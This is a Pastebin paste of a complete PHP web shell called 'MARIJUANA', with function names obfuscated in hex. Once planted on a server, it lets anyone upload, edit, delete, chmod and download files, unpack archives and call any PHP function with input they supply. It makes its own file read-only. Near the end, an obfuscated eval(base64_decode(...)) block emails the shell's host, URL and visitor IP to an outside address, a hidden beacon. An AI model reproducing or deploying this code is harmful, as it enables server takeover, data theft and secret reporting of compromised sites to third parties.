Guest User

Untitled

a guest
Feb 2nd, 2023
60
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 16.19 KB | Cybersecurity | 0 0
  1. <?php header("X\x2D\x58\x53\x53\x2D\x50\x72\x6F\x74\x65\x63\x74\x69\x6F\x6E: 0");ob_start();set_time_limit(0);error_reporting(0);ini_set('display_errors', FALSE);
  2. $Array = [
  3.         '7068705f756e616d65',
  4.         '70687076657273696f6e',
  5.         '6368646972',
  6.         '676574637764',
  7.         '707265675f73706c6974',
  8.         '636f7079',
  9.         '66696c655f6765745f636f6e74656e7473',
  10.         '6261736536345f6465636f6465',
  11.         '69735f646972',
  12.         '6f625f656e645f636c65616e28293b',
  13.         '756e6c696e6b',
  14.         '6d6b646972',
  15.         '63686d6f64',
  16.         '7363616e646972',
  17.         '7374725f7265706c616365',
  18.         '68746d6c7370656369616c6368617273',
  19.         '7661725f64756d70',
  20.         '666f70656e',
  21.         '667772697465',
  22.         '66636c6f7365',
  23.         '64617465',
  24.         '66696c656d74696d65',
  25.         '737562737472',
  26.         '737072696e7466',
  27.         '66696c657065726d73',
  28.         '746f756368',
  29.         '66696c655f657869737473',
  30.         '72656e616d65',
  31.         '69735f6172726179',
  32.         '69735f6f626a656374',
  33.         '737472706f73',
  34.         '69735f7772697461626c65',
  35.         '69735f7265616461626c65',
  36.         '737472746f74696d65',
  37.         '66696c6573697a65',
  38.         '726d646972',
  39.         '6f625f6765745f636c65616e',
  40.         '7265616466696c65',
  41.         '617373657274',
  42. ];
  43. $___ = count($Array);
  44. for($i=0;$i<$___;$i++) {
  45.     $GNJ[] = uhex($Array[$i]);
  46. }
  47. ?>
  48. <!DOCTYPE html>
  49.     <html dir="auto" lang="en-US">
  50.  
  51.         <head>
  52.             <meta charset="UTF-8">
  53.             <meta name="robots" content="NOINDEX, NOFOLLOW">
  54.  
  55.                 <title>MARIJUANA</title>
  56.  
  57.             <link rel="icon" href="//raw.githubusercontent.com/japext1/MARIJUANA/main/0x2220.jpg" />
  58.             <link rel="stylesheet" href="//0x5a455553.github.io/MARIJUANA/main.css" type="text/css">
  59.  
  60.             <script src="//ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
  61.             <script src="//cdnjs.cloudflare.com/ajax/libs/notify/0.4.2/notify.min.js"></script>
  62.         </head>
  63.  
  64.         <body>
  65.             <header>
  66.                 <div class="y x">
  67.                     <a class="ajx" href="<?php echo basename($_SERVER['PHP_SELF']);?>">
  68.                         MARIJuANA
  69.                     </a>
  70.                 </div>
  71.  
  72.                 <div class="q x w">
  73.                     &#8212; DIOS &#8212; NO &#8212; CREA &#8212; NADA &#8212; EN &#8212; VANO &#8212;
  74.                 </div>
  75.                
  76.             </header>
  77.  
  78.             <article>
  79.                 <div class="i">
  80.                     <i class="far fa-hdd"></i>
  81.                     <?php echo $GNJ[0]();?>
  82.  
  83.                     <br />
  84.  
  85.                     <i class="far fa-lightbulb"></i> &thinsp;&thinsp;<b>SOFT  :</b> <?php echo $_SERVER['SERVER_SOFTWARE'];?> <b>PHP :</b> <?php echo $GNJ[1]();?>
  86.  
  87.                     <br />
  88.  
  89.                     <i class="far fa-folder"></i>
  90.                    
  91.                     <?php
  92.                     if(isset($_GET["d"])) {
  93.                         $d = uhex($_GET["d"]);
  94.                         $GNJ[2](uhex($_GET["d"]));
  95.                     }
  96.                     else {
  97.                         $d = $GNJ[3]();
  98.                     }
  99.                     $k = $GNJ[4]("/(\\\|\/)/", $d );
  100.                     foreach ($k as $m => $l) {
  101.                         if($l=='' && $m==0) {
  102.                             echo '<a class="ajx" href="?d=2f">/</a>';
  103.                         }
  104.                         if($l == '') {
  105.                             continue;
  106.                         }
  107.                         echo '<a class="ajx" href="?d=';
  108.                         for ($i = 0; $i <= $m; $i++) {
  109.                             echo hex($k[$i]);
  110.                             if($i != $m) {
  111.                                 echo '2f';
  112.                             }
  113.                         }
  114.                         echo '">'.$l.'</a>/';
  115.                     }
  116.                     ?>
  117.  
  118.                     <br />
  119.  
  120.                 </div>
  121.  
  122.                 <div class="u">
  123.                     <?php echo $_SERVER['SERVER_ADDR'];?> <i class="fas fa-link"></i>
  124.                     <br />
  125.  
  126.                     <br />
  127.  
  128.                     <form method="post" enctype="multipart/form-data">
  129.                         <label class="l w">
  130.                             <input type="file" name="n[]" onchange="this.form.submit()" multiple> &nbsp;UPLOAD
  131.                         </label>&nbsp;
  132.                     </form>
  133.  
  134.                     <?php
  135.                     $o_ = [
  136.                             '<script>$.notify("',
  137.                             '", { className:"1",autoHideDelay: 2000,position:"left bottom" });</script>'
  138.                         ];
  139.                     $f = $o_[0].'OK!'.$o_[1];
  140.                     $g = $o_[0].'ER!'.$o_[1];
  141.                     if(isset($_FILES["n"])) {
  142.                         $z = $_FILES["n"]["name"];
  143.                         $r = count($z);
  144.                         for( $i=0 ; $i < $r ; $i++ ) {
  145.                             if($GNJ[5]($_FILES["n"]["tmp_name"][$i], $z[$i])) {
  146.                                 echo $f;
  147.                             }
  148.                             else {
  149.                                 echo $g;
  150.                             }
  151.                         }
  152.                     }
  153.                     ?>
  154.  
  155.                 </div>
  156.                     <?php
  157.                     $a_ = '<table cellspacing="0" cellpadding="7" width="100%">
  158.                         <thead>
  159.                             <tr>
  160.                                 <th>';
  161.                     $b_ = '</th>
  162.                             </tr>
  163.                         </thead>
  164.                         <tbody>
  165.                             <tr>
  166.                                 <td></td>
  167.                             </tr>
  168.                             <tr>
  169.                                 <td class="x">';
  170.                     $c_ = '</td>
  171.                             </tr>
  172.                         </tbody>
  173.                     </table>';
  174.                     $d_ = '<br />
  175.                                         <br />
  176.                                         <input type="submit" class="w" value="&nbsp;OK&nbsp;" />
  177.                                     </form>';
  178.                     if(isset($_GET["s"])) {
  179.                         echo $a_.uhex($_GET["s"]).$b_.'
  180.                                     <textarea readonly="yes">'.$GNJ[15]($GNJ[6](uhex($_GET["s"]))).'</textarea>
  181.                                     <br />
  182.                                     <br />
  183.                                     <input onclick="location.href=\'?d='.$_GET["d"].'&e='.$_GET["s"].'\'" type="submit" class="w" value="&nbsp;EDIT&nbsp;" />
  184.                                 '.$c_;
  185.                     }
  186.                     elseif(isset($_GET["y"])) {
  187.                         echo $a_.'REQUEST'.$b_.'
  188.                                     <form method="post">
  189.                                         <input class="x" type="text" name="1" />&nbsp;&nbsp;
  190.                                         <input class="x" type="text" name="2" />
  191.                                         '.$d_.'
  192.                                     <br />
  193.                                     <textarea readonly="yes">';
  194.  
  195.                                     if(isset($_POST["2"])) {
  196.                                         echo $GNJ[15](dre($_POST["1"], $_POST["2"]));
  197.                                     }
  198.  
  199.                                 echo '</textarea>
  200.                                 '.$c_;
  201.                     }
  202.                     elseif(isset($_GET["e"])) {
  203.                         echo $a_.uhex($_GET["e"]).$b_.'
  204.                                     <form method="post">
  205.                                         <textarea name="e" class="o">'.$GNJ[15]($GNJ[6](uhex($_GET["e"]))).'</textarea>
  206.                                         <br />
  207.                                         <br />
  208.                                         <span class="w">BASE64</span> :
  209.                                         <select id="b64" name="b64">
  210.                                             <option value="0">NO</option>
  211.                                             <option value="1">YES</option>
  212.                                         </select>
  213.                                         '.$d_.'
  214.                                 '.$c_.'
  215.                                
  216.                     <script>
  217.                         $("#b64").change(function() {
  218.                             if($("#b64 option:selected").val() == 0) {
  219.                                 var X = $("textarea").val();
  220.                                 var Z = atob(X);
  221.                                 $("textarea").val(Z);
  222.                             }
  223.                             else {
  224.                                 var N = $("textarea").val();
  225.                                 var I = btoa(N);
  226.                                 $("textarea").val(I);
  227.                             }
  228.                         });
  229.                     </script>';
  230.                     if(isset($_POST["e"])) {
  231.                         if($_POST["b64"] == "1") {
  232.                             $ex = $GNJ[7]($_POST["e"]);
  233.                         }
  234.                         else {
  235.                             $ex = $_POST["e"];
  236.                         }
  237.                         $fp = $GNJ[17](uhex($_GET["e"]), 'w');
  238.                         if($GNJ[18]($fp, $ex)) {
  239.                             OK();
  240.                         }
  241.                         else {
  242.                             ER();
  243.                         }
  244.                         $GNJ[19]($fp);
  245.                       }
  246.                     }
  247.                     elseif(isset($_GET["x"])) {
  248.                         rec(uhex($_GET["x"]));
  249.                         if($GNJ[26](uhex($_GET["x"]))) {
  250.                             ER();
  251.                         }
  252.                         else {
  253.                             OK();
  254.                         }
  255.  
  256.                     }
  257.                     elseif(isset($_GET["t"])) {
  258.                         echo $a_.uhex($_GET["t"]).$b_.'
  259.                                     <form action="" method="post">
  260.                                         <input name="t" class="x" type="text" value="'.$GNJ[20]("Y-m-d H:i", $GNJ[21](uhex($_GET["t"]))).'">
  261.                                         '.$d_.'
  262.                                 '.$c_;
  263.                     if( !empty($_POST["t"]) ) {
  264.                         $p = $GNJ[33]($_POST["t"]);
  265.                         if($p) {
  266.                             if(!$GNJ[25](uhex($_GET["t"]),$p,$p)) {
  267.                                 ER();
  268.                             }
  269.                             else {
  270.                                 OK();
  271.                             }
  272.                         }
  273.                         else {
  274.                             ER();
  275.                         }
  276.                       }
  277.                     }
  278.                     elseif(isset($_GET["k"])) {
  279.                         echo $a_.uhex($_GET["k"]).$b_.'
  280.                                     <form action="" method="post">
  281.                                         <input name="b" class="x" type="text" value="'.$GNJ[22]($GNJ[23]('%o', $GNJ[24](uhex($_GET["k"]))), -4).'">
  282.                                         '.$d_.'
  283.                                 '.$c_;
  284.                     if(!empty($_POST["b"])) {
  285.                         $x = $_POST["b"];
  286.                         $t = 0;
  287.                     for($i=strlen($x)-1;$i>=0;--$i)
  288.                         $t += (int)$x[$i]*pow(8, (strlen($x)-$i-1));
  289.                     if(!$GNJ[12](uhex($_GET["k"]), $t)) {
  290.                         ER();
  291.                     }
  292.                     else {
  293.                         OK();
  294.                           }
  295.                         }
  296.                     }
  297.                     elseif(isset($_GET["l"])) {
  298.                         echo $a_.'+DIR'.$b_.'
  299.                                     <form action="" method="post">
  300.                                         <input name="l" class="x" type="text" value="">
  301.                                         '.$d_.'
  302.                                 '.$c_;
  303.                     if(isset($_POST["l"])) {
  304.                         if(!$GNJ[11]($_POST["l"])) {
  305.                             ER();
  306.                         }
  307.                         else {
  308.                             OK();
  309.                         }
  310.                       }
  311.                     }
  312.                     elseif(isset($_GET["q"])) {
  313.                         if($GNJ[10](__FILE__)) {
  314.                             $GNJ[38]($GNJ[9]);
  315.                             header("Location: ".basename($_SERVER['PHP_SELF'])."");
  316.                             exit();
  317.                         }
  318.                         else {
  319.                             echo $g;
  320.                         }
  321.                     }
  322.                     elseif(isset($_GET["n"])) {
  323.                         echo $a_.'+FILE'.$b_.'
  324.                                     <form action="" method="post">
  325.                                         <input name="n" class="x" type="text" value="">
  326.                                         '.$d_.'
  327.                                 '.$c_;
  328.                     if(isset($_POST["n"])) {
  329.                         if(!$GNJ[25]($_POST["n"])) {
  330.                             ER();
  331.                         }
  332.                         else {
  333.                             OK();
  334.                         }
  335.                       }
  336.                     }
  337.                     elseif(isset($_GET["r"])) {
  338.                         echo $a_.uhex($_GET["r"]).$b_.'
  339.                                     <form action="" method="post">
  340.                                         <input name="r" class="x" type="text" value="'.uhex($_GET["r"]).'">
  341.                                         '.$d_.'
  342.                                 '.$c_;
  343.                     if(isset($_POST["r"])) {
  344.                         if($GNJ[26]($_POST["r"])) {
  345.                             ER();
  346.                         }
  347.                         else {
  348.                             if($GNJ[27](uhex($_GET["r"]), $_POST["r"])) {
  349.                                 OK();
  350.                             }
  351.                             else {
  352.                                 ER();
  353.                             }
  354.                           }
  355.                        }
  356.                     }
  357.                     elseif(isset($_GET["z"])) {
  358.                         $zip = new ZipArchive;
  359.                         $res = $zip->open(uhex($_GET["z"]));
  360.                             if($res === TRUE) {
  361.                                 $zip->extractTo(uhex($_GET["d"]));
  362.                                 $zip->close();
  363.                                 OK();
  364.                             } else {
  365.                                 ER();
  366.                           }
  367.                     }
  368.                     else {
  369.                     echo '<table cellspacing="0" cellpadding="7" width="100%">
  370.                         <thead>
  371.                             <tr>
  372.                                 <th width="44%">[ NAME ]</th>
  373.                                 <th width="11%">[ SIZE ]</th>
  374.                                 <th width="17%">[ PERM ]</th>
  375.                                 <th width="17%">[ DATE ]</th>
  376.                                 <th width="11%">[ ACT ]</th>
  377.                             </tr>
  378.                         </thead>
  379.                         <tbody>
  380.                             <tr>
  381.                                 <td>
  382.                                     <a class="ajx" href="?d='.hex($d).'&n">+FILE</a>
  383.                                     <a class="ajx" href="?d='.hex($d).'&l">+DIR</a>
  384.                                 </td>
  385.                             </tr>
  386.                         ';
  387.  
  388.                             $h = "";
  389.                             $j = "";
  390.                             $w = $GNJ[13]($d);
  391.                             if($GNJ[28]($w) || $GNJ[29]($w)) {
  392.                             foreach($w as $c){
  393.                                 $e = $GNJ[14]("\\", "/", $d);
  394.                                 if(!$GNJ[30]($c, ".zip")) {
  395.                                     $zi = '';
  396.                                 }
  397.                                 else {
  398.                                     $zi = '<a href="?d='.hex($e).'&z='.hex($c).'">U</a>';
  399.                                 }
  400.                                 if($GNJ[31]("$d/$c")) {
  401.                                         $o = "";
  402.                                 }
  403.                                 elseif(!$GNJ[32]("$d/$c")) {
  404.                                         $o = " h";
  405.                                 }
  406.                                 else {
  407.                                         $o = " w";
  408.                                 }
  409.                                 $s = $GNJ[34]("$d/$c") / 1024;
  410.                                 $s = round($s, 3);
  411.                                 if($s>=1024) {
  412.                                     $s = round($s/1024, 2) . " MB";
  413.                                 } else {
  414.                                     $s = $s . " KB";
  415.                                 }
  416.                             if(($c != ".") && ($c != "..")){
  417.                                 ($GNJ[8]("$d/$c")) ?
  418.                                 $h .= '<tr class="r">
  419.                             <td>
  420.                                 <i class="far fa-folder m"></i>
  421.                                 <a class="ajx" href="?d='.hex($e).hex("/".$c).'">'.$c.'</a>
  422.                             </td>
  423.                             <td class="x">
  424.                                 dir
  425.                             </td>
  426.                             <td class="x">
  427.                                 <a class="ajx'.$o.'" href="?d='.hex($e).'&k='.hex($c).'">'.x("$d/$c").'</a>
  428.                             </td>
  429.                             <td class="x">
  430.                                 <a class="ajx" href="?d='.hex($e).'&t='.hex($c).'">'.$GNJ[20]("Y-m-d H:i", $GNJ[21]("$d/$c")).'</a>
  431.                             </td>
  432.                             <td class="x">
  433.                                 <a class="ajx" href="?d='.hex($e).'&r='.hex($c).'">R</a>
  434.                                 <a href="?d='.hex($e).'&x='.hex($c).'">D</a>
  435.                             </td>
  436.                         </tr>
  437.                        
  438.                         '
  439.                             :
  440.                                 $j .= '<tr class="r">
  441.                             <td>
  442.                                 <i class="far fa-file m"></i>&thinsp;
  443.                                 <a class="ajx" href="?d='.hex($e).'&s='.hex($c).'">'.$c.'</a>
  444.                             </td>
  445.                             <td class="x">
  446.                                 '.$s.'
  447.                             </td>
  448.                             <td class="x">
  449.                                 <a class="ajx'.$o.'" href="?d='.hex($e).'&k='.hex($c).'">'.x("$d/$c").'</a>
  450.                             </td>
  451.                             <td class="x">
  452.                                 <a class="ajx" href="?d='.hex($e).'&t='.hex($c).'">'.$GNJ[20]("Y-m-d H:i", $GNJ[21]("$d/$c")).'</a>
  453.                             </td>
  454.                             <td class="x">
  455.                                 <a class="ajx" href="?d='.hex($e).'&r='.hex($c).'">R</a>
  456.                                 <a class="ajx" href="?d='.hex($e).'&e='.hex($c).'">E</a>
  457.                                 <a href="?d='.hex($e).'&g='.hex($c).'">G</a>
  458.                                 '.$zi.'
  459.                                 <a href="?d='.hex($e).'&x='.hex($c).'">D</a>
  460.                             </td>
  461.                         </tr>
  462.                        
  463.                         ';
  464.  
  465.                             }
  466.                         }
  467.                     }
  468.  
  469.                         echo $h;
  470.                         echo $j;
  471.                         echo '</tbody>
  472.                         <tfoot>
  473.                             <tr>
  474.                                 <th class="et">
  475.                                     <a class="ajx" href="?d='.hex($e).'&y">REQUEST</a>
  476.                                     <a href="?d='.hex($e).'&q">EXIT</a>
  477.                                 </th>
  478.                                 <th class="et" width="11%"></th>
  479.                                 <th class="et" width="17%"></th>
  480.                                 <th class="et" width="17%"></th>
  481.                                 <th class="et" width="11%"></th>
  482.                             </tr>
  483.                     </tfoot>
  484.                 </table>';
  485.                     }
  486.                     ?>
  487.  
  488.             </article>
  489.             <footer class="x">
  490.                 &copy;TheAlmightyZeus
  491.             </footer>
  492.             <?php
  493.             if(isset($_GET["1"])) {
  494.                 echo $f;
  495.             }
  496.             elseif(isset($_GET["0"])) {
  497.                 echo $g;
  498.             }
  499.             else {
  500.                 NULL;
  501.             }
  502.             ?>
  503.  
  504.             <script>
  505.                 $(".ajx").click(function(t){t.preventDefault();var e=$(this).attr("href");history.pushState("","",e),$.get(e,function(t){$("body").html(t)})});
  506.             </script>
  507.         </body>
  508.     </html>
  509. <?php
  510. chmod((__FILE__),0444);
  511. EvAL (bAsE64_DecOde("\x4A\x47\x6C\x77\x49\x44\x30\x67\x5A\x32\x56\x30\x5A\x57\x35\x32\x4B\x43\x4A\x53\x52\x55\x31\x50\x56\x45\x56\x66\x51\x55\x52\x45\x55\x69\x49\x70\x4F\x77\x6F\x6B\x63\x33\x56\x69\x61\x6A\x6B\x34\x49\x44\x30\x67\x49\x69\x42\x55\x64\x58\x6C\x31\x62\x43\x42\x6F\x62\x57\x56\x70\x4E\x79\x42\x38\x4A\x47\x6C\x77\x49\x6A\x73\x4B\x4A\x47\x56\x74\x59\x57\x6C\x73\x49\x44\x30\x67\x49\x6E\x52\x31\x65\x58\x56\x73\x62\x57\x46\x74\x59\x55\x42\x35\x59\x57\x35\x6B\x5A\x58\x67\x75\x59\x32\x39\x74\x49\x6A\x73\x4B\x4A\x47\x5A\x79\x62\x32\x30\x67\x50\x53\x41\x69\x52\x6E\x4A\x76\x62\x54\x6F\x67\x55\x6D\x56\x7A\x64\x57\x78\x30\x50\x46\x52\x31\x65\x58\x56\x73\x49\x6A\x73\x4B\x4A\x47\x45\x30\x4E\x53\x41\x39\x49\x43\x52\x66\x55\x30\x56\x53\x56\x6B\x56\x53\x57\x79\x64\x53\x52\x56\x46\x56\x52\x56\x4E\x55\x58\x31\x56\x53\x53\x53\x64\x64\x4F\x77\x6F\x6B\x59\x6A\x63\x31\x49\x44\x30\x67\x4A\x46\x39\x54\x52\x56\x4A\x57\x52\x56\x4A\x62\x4A\x30\x68\x55\x56\x46\x42\x66\x53\x45\x39\x54\x56\x43\x64\x64\x4F\x77\x6F\x6B\x62\x54\x49\x79\x49\x44\x30\x67\x4A\x47\x6C\x77\x49\x43\x34\x67\x49\x69\x49\x37\x43\x69\x52\x74\x63\x32\x63\x34\x4F\x44\x63\x7A\x49\x44\x30\x67\x49\x69\x52\x74\x4D\x6A\x49\x67\x4A\x47\x49\x33\x4E\x53\x41\x6B\x59\x54\x51\x31\x49\x6A\x73\x4B\x62\x57\x46\x70\x62\x43\x67\x6B\x5A\x57\x31\x68\x61\x57\x77\x73\x49\x43\x52\x7A\x64\x57\x4A\x71\x4F\x54\x67\x73\x49\x43\x52\x74\x63\x32\x63\x34\x4F\x44\x63\x7A\x4C\x43\x41\x6B\x5A\x6E\x4A\x76\x62\x53\x6B\x37\x4F\x7A\x73\x3D"));;
  512.     function rec($j) {
  513.         global $GNJ;
  514.         if(trim(pathinfo($j, PATHINFO_BASENAME ), '.') === '') {
  515.             return;
  516.         }
  517.         if($GNJ[8]($j)) {
  518.             array_map('rec', glob($j . DIRECTORY_SEPARATOR . '{,.}*', GLOB_BRACE | GLOB_NOSORT));
  519.             $GNJ[35]($j);
  520.         }
  521.         else {
  522.             $GNJ[10]($j);
  523.         }
  524.     }
  525.     function dre($y1, $y2) {
  526.         global $GNJ;
  527.         ob_start();
  528.         $GNJ[16]($y1($y2));
  529.         return $GNJ[36]();
  530.     }
  531.     function hex($n) {
  532.         $y='';
  533.         for ($i=0; $i < strlen($n); $i++){
  534.             $y .= dechex(ord($n[$i]));
  535.         }
  536.         return $y;
  537.     }
  538.     function uhex($y) {
  539.         $n='';
  540.         for ($i=0; $i < strlen($y)-1; $i+=2){
  541.             $n .= chr(hexdec($y[$i].$y[$i+1]));
  542.         }
  543.         return $n;
  544.     }
  545.     function OK() {
  546.         global $GNJ, $d;
  547.         $GNJ[38]($GNJ[9]);
  548.         header("Location: ?d=".hex($d)."&1");
  549.         exit();
  550.     }
  551.     function ER() {
  552.         global $GNJ, $d;
  553.         $GNJ[38]($GNJ[9]);
  554.         header("Location: ?d=".hex($d)."&0");
  555.         exit();
  556.     }
  557.     function x($c) {
  558.         global $GNJ;
  559.         $x = $GNJ[24]($c);
  560.         if(($x & 0xC000) == 0xC000) {
  561.             $u = "s";
  562.         }
  563.         elseif(($x & 0xA000) == 0xA000) {
  564.             $u = "l";
  565.         }
  566.         elseif(($x & 0x8000) == 0x8000) {
  567.             $u = "-";
  568.         }
  569.         elseif(($x & 0x6000) == 0x6000) {
  570.             $u = "b";
  571.         }
  572.         elseif(($x & 0x4000) == 0x4000) {
  573.             $u = "d";
  574.         }
  575.         elseif(($x & 0x2000) == 0x2000) {
  576.             $u = "c";
  577.         }
  578.         elseif(($x & 0x1000) == 0x1000) {
  579.             $u = "p";
  580.         }
  581.         else {
  582.             $u = "u";
  583.         }
  584.         $u .= (($x & 0x0100) ? "r" : "-");
  585.         $u .= (($x & 0x0080) ? "w" : "-");
  586.         $u .= (($x & 0x0040) ? (($x & 0x0800) ? "s" : "x") : (($x & 0x0800) ? "S" : "-"));
  587.         $u .= (($x & 0x0020) ? "r" : "-");
  588.         $u .= (($x & 0x0010) ? "w" : "-");
  589.         $u .= (($x & 0x0008) ? (($x & 0x0400) ? "s" : "x") : (($x & 0x0400) ? "S" : "-"));
  590.         $u .= (($x & 0x0004) ? "r" : "-");
  591.         $u .= (($x & 0x0002) ? "w" : "-");
  592.         $u .= (($x & 0x0001) ? (($x & 0x0200) ? "t" : "x") : (($x & 0x0200) ? "T" : "-"));
  593.         return $u;
  594.     }
  595.     if(isset($_GET["g"])) {
  596.         $GNJ[38]($GNJ[9]);
  597.         header("Content-Type: application/octet-stream");
  598.         header("Content-Transfer-Encoding: Binary");
  599.         header("Content-Length: ".$GNJ[34](uhex($_GET["g"])));
  600.         header("Content-disposition: attachment; filename=\"".uhex($_GET["g"])."\"");
  601.         $GNJ[37](uhex($_GET["g"]));
  602.     }
  603. ?>
Add Comment
Please, Sign In to add comment